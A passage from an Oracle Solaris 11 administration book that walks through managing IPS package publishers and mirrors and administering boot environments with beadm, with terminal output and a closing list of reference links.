Sometimes, we might be forced to disable a publisher; this task can be executed according to the following example:
[email protected]:~# pkg set-publisher -d training [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ training (disabled) origin online F http://localhost:8888/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
To re-enable it, we run the following command:
[email protected]:~# pkg set-publisher -e training
If you remember, at the beginning of the chapter, we created a local repository with all the Oracle Solaris 11 packages and indexed this repository as being from the solaris publisher. Thus, we have two repositories; the first one refers to the Oracle website using the URI, http://pkg.oracle.com/solaris/release/, and the second one—which is referred by the URI, http//localhost:9999—is stored on disk (/repo_pool/repoimage/repo). Nonetheless, the publisher is the same: solaris. So, as both have the same contents, one of them is a mirror of the other and can be configured with the steps discussed in the next sections.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Access to the Internet is necessary.
We need to set a mirror repository by executing the following commands:
[email protected]:~# pkg set-publisher -m http://localhost:9999 solaris [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solaris mirror online F http://localhost:9999/ training origin online F http://localhost:8888/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
This output is very interesting because now there are two occurrences of the solaris publisher; the first is the original (origin), which contains the metadata and packages, and the second is the mirror, which contains only the contents of the packages. It is necessary to install a package because Oracle Solaris 11 prefers the mirror to retrieve the contents of the packages, but IPS also downloads the meta information (the publisher's catalog) from the original.
We can remove the URI that points to this mirror by executing the following command:
[email protected]:~# pkg set-publisher -M http://localhost:9999 solaris [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ training origin online F http://localhost:8888/
Mirroring repositories is another way to say that if the primary repository is unavailable; there's a second place available to download the packages from. In other words, the same publisher offers its packages from two different locations. Additionally, mirrors offer an alternative to download the package contents without overloading the original repository.
There are some good administrative commands to maintain the consistency of the repository configuration. However, the publisher doesn't always maintain its importance and priorities, and this gives us the flexibility to invert the order of the search.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Access to the Internet is optional.
We remove a publisher using the following commands:
[email protected]:~# pkg unset-publisher Symantec [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solaris mirror online F http://localhost:9999/ training origin online F http://localhost:8888/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/
We might still prefer that the search action look for a specific publisher before another one. This task can be executed using the following commands:
[email protected]:~# pkg set-publisher --search-before training solarisstudio [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solaris mirror online F http://localhost:9999/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ training origin online F http://localhost:8888/
We've learned that boot environments have a wide spectrum of application on Oracle Solaris 11, like patching a system, for example. This section lets us analyze the administration and management of a BE a bit more.
Without any question, listing and creating BEs is one of the more basic tasks when administering a boot environment. However, every BE administration starts from this point.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Access to the Internet is optional. Some extra space on the disk is important.
The most basic command when administering a BE is to list the existing boot environments:
[email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris NR / 25.86G static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57
The next natural step is to create a new boot environment:
[email protected]:~# beadm create solaris_test_1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris NR / 25.88G static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 - - 204.0K static 2013-11-05 22:38
Many times, we want to install a package in an inactive BE and later (maybe at night), boot this BE and test whether the programs are working. Furthermore, we can keep all BEs consistent with each other and have them contain the same packages without booting each one to install a new package.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal.
We use the following commands to install a new package into a new BE (solaris_test_1):
[email protected]:~# mkdir /solaris_test_1 [email protected]:~# beadm mount solaris_test_1 /solaris_test_1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris NR / 25.94G static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 - /solaris_test_1 27.37M static 2013-11-05 22:38
We install the package in this mounted boot environment by running the following command:
[email protected]:~# pkg -R /solaris_test_1 install unrar Packages to install: 1 DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 6/6 0.1/0.1 656k/s PHASE ITEMS Installing new actions 19/19 Updating package state database Done Updating image state Done Creating fast lookup database Done
The unrar package was installed into the new BE (solaris_test_1) and not into the current one (solaris). Proving this fact is easy:
[email protected]:~# unrar bash: unrar: command not found [email protected]:~#
Note
The same package can be removed using the following command:
[email protected]:~# pkg -R /solaris_test_1 uninstall unrar
Once the unrar package has been installed, we can unmount the BE by running the following commands:
[email protected]:~# beadm umount solaris_test_1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris NR / 25.94G static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 - - 122.88M static 2013-11-05 22:38
In a system with multiple BEs, situations might arise when it becomes necessary to activate a BE to test a patch or a new package without running the risk of losing the production environment. Therefore, a new BE will have to be created, changed, and finally, tested. However, it will have to be activated first. So, in all cases, the following recipes will be suitable.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Some extra disk space might be necessary.
First, let's activate the recently created BE:
[email protected]:~# beadm activate solaris_test_1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris N / 37.96M static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 R - 26.06G static 2013-11-05 22:38
Now, let's reboot it:
[email protected]:~# init 6
After rebooting, let's test the existing unrar package and command:
[email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris - - 8.57M static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 NR - 26.06G static 2013-11-05 22:38 [email protected]:~# pkg info unrar Name: archiver/unrar Summary: Rar archives extractor utility Category: Applications/System Utilities State: Installed Publisher: solaris Version: 4.1.4 Build Release: 5.11 Branch: 0.175.1.0.0.24.0 Packaging Date: September 4, 2012 05:05:49 PM Size: 391.47 kB FMRI: pkg://solaris/archiver/[email protected],5.11-0.175.1.0.0.24.0:20120904T170549Z
Now, let's test our procedure by executing the following command:
[email protected]:~# unrar UNRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal Usage: unrar <command> -<switch 1> -<switch N> <archive> <files...> <@listfiles...> <path_to_extract\> <Commands> e Extract files to current directory l[t,b] List archive [technical, bare] p Print file to stdout t Test archive files v[t,b] Verbosely list archive [technical,bare] x Extract files with full path <Switches> - Stop switches scanning @[+] Disable [enable] file lists
Wonderful! The unrar package has appeared on the system in the way that we planned.
The act of activating and rebooting a BE are the final steps to be completed before we start using the BE. Likely, it's during this stage that we can test an installation package, an installation patch, or even an Oracle Solaris 11 upgrade without worrying about losing the whole system.
Now, it's an appropriate time to talk about the possibility of creating a new environment from an existing one.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Some extra disk space might be necessary.
To perform this recipe, we're obliged to create a backup from the current BE (solaris_test_1), after which we should be successful in creating a new BE from this backup. The whole process uses snapshots. (In this case, we are using a logical snapshot, which uses pointers to leave the original image untouched.) Let's create a snapshot by running the following command:
[email protected]:~# beadm create [email protected] [email protected]:~# beadm list -a solaris_test_1 BE/Dataset/Snapshot Active Mountpoint Space Policy Created ------------------- ------ ---------- ----- ------ ------- solaris_test_1 rpool/ROOT/solaris_test_1 NR / 26.06G static 2013-11-05 22:38 rpool/ROOT/solaris_test_1/var - /var 421.96M static 2013-11-08 04:06 rpool/ROOT/solaris_test_1/[email protected]:27:20 - - 66.49M static 2013-10-10 19:27 rpool/ROOT/solaris_test_1/[email protected]:06:01 - - 62.48M static 2013-11-08 04:06 rpool/ROOT/solaris_test_1/[email protected] - - 73.0K static 2013-11-08 04:23 rpool/ROOT/solaris_test_1/[email protected] - - 63.03M static 2013-10-05 21:01 rpool/ROOT/[email protected]:27:20 - - 132.81M static 2013-10-10 19:27 rpool/ROOT/[email protected]:06:01 - - 65.78M static 2013-11-08 04:06 rpool/ROOT/[email protected] - - 0 static 2013-11-08 04:23 rpool/ROOT/[email protected] - - 105.95M static 2013-10-05 21:01
We are now ready to create a new BE from another one:
[email protected]:~# beadm create -e [email protected] solaris_test_2 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris - - 8.57M static 2013-10-05 20:44 solaris-backup-1 - - 303.0K static 2013-10-26 22:49 solaris-backup-a - - 7.26G static 2013-10-10 19:57 solaris_test_1 NR - 26.06G static 2013-11-05 22:38 solaris_test_2 - - 209.0K static 2013-11-08 04:23
At this point, it might be logical to activate this environment (beadm activate solaris_test_2) and boot it.
Finally, before finishing the chapter, we need to reactivate the original solaris boot environment, reboot the system, and remove all the remaining BEs:
[email protected]:~# beadm activate solaris [email protected]:~# init 6 [email protected]:~# beadm destroy solaris_test_2 Are you sure you want to destroy solaris_test_2? This action cannot be undone(y/[n]): y [email protected]:~# beadm destroy solaris_test_1 Are you sure you want to destroy solaris_test_1? This action cannot be undone(y/[n]): y [email protected]:~# beadm destroy solaris-backup-a Are you sure you want to destroy solaris-backup-a? This action cannot be undone(y/[n]): y [email protected]:~# beadm destroy solaris-backup-1 Are you sure you want to destroy solaris-backup-1? This action cannot be undone(y/[n]): y [email protected]:~# beadm list BE Active Mountpoint Space Policy Created -- ------ ---------- ----- ------ ------- solaris NR / 25.46G static 2013-10-05 20:44
Adding and Updating Oracle Solaris 11.1 Software Packages (Oracle Solaris 11.1 Information Library) at http://docs.oracle.com/cd/E26502_01/html/E28984/docinfo.html#scrolltoc
Copying and Creating Oracle Solaris 11.1 Package Repositories at http://docs.oracle.com/cd/E26502_01/html/E28985/index.html
Publishing IPS Packages – Guide for Developers (by Erick Reid and Brock Pytlik) at http://www.oracle.com/technetwork/server-storage/solaris11/documentation/ips-packages-webinarseries-1666681.pdf
Introducing the Basics of Image Packaging System (IPS) on Oracle Solaris 11 (by Glynn Foster) at http://www.oracle.com/technetwork/articles/servers-storage-admin/o11-083-ips-basics-523756.html
Command Summary: Basic Operations with the Image Package System in Oracle Solaris 11 (by Ginny Henningsen) at http://www.oracle.com/technetwork/articles/servers-storage-admin/command-summary-ips-1865035.html Creating and Administering Oracle Solaris 11 Boot Environments at http://docs.oracle.com/cd/E23824_01/html/E21801/administer.html#scrolltoc
How to Publish Packages to the Imaging Packaging System at http://www.oracle.com/technetwork/systems/hands-on-labs/introduction-to-ips-1534596.html
Solaris 11 REPO - Configuration of Multiple Repositories Using Multiple Depot Server Instances (by Steven ESSO) at http://stivesso.blogspot.com.br/2012/11/solaris-11-repo-configuration-of.html
How to Create the Solaris 11 IPS Repository (by Brad Hudson) at http://bradhudsonjr.wordpress.com/2011/08/09/how-to-create-the-solaris-11-ips-repository/
How to Create Multiple Internal Repositories for Oracle Solaris 11 (by Albert White) at http://www.oracle.com/technetwork/articles/servers-storage-admin/int-s11-repositories-1632678.html
How to Create and Publish Packages to an IPS Repository on Oracle Solaris 11 (by Glynn Foster) at http://www.oracle.com/technetwork/articles/servers-storage-admin/o11-097-create-pkg-ips-524496.html
Oracle Solaris 11 Cheat Sheet for the Image Packaging System at http://www.oracle.com/technetwork/server-storage/solaris11/documentation/ips-one-liners-032011-337775.pdf
Solaris 11: how to setup IPS repository (by Alessio Dini) at http://alessiodini.wordpress.com/2012/10/03/solaris-11-how-to-setup-ips-repository/
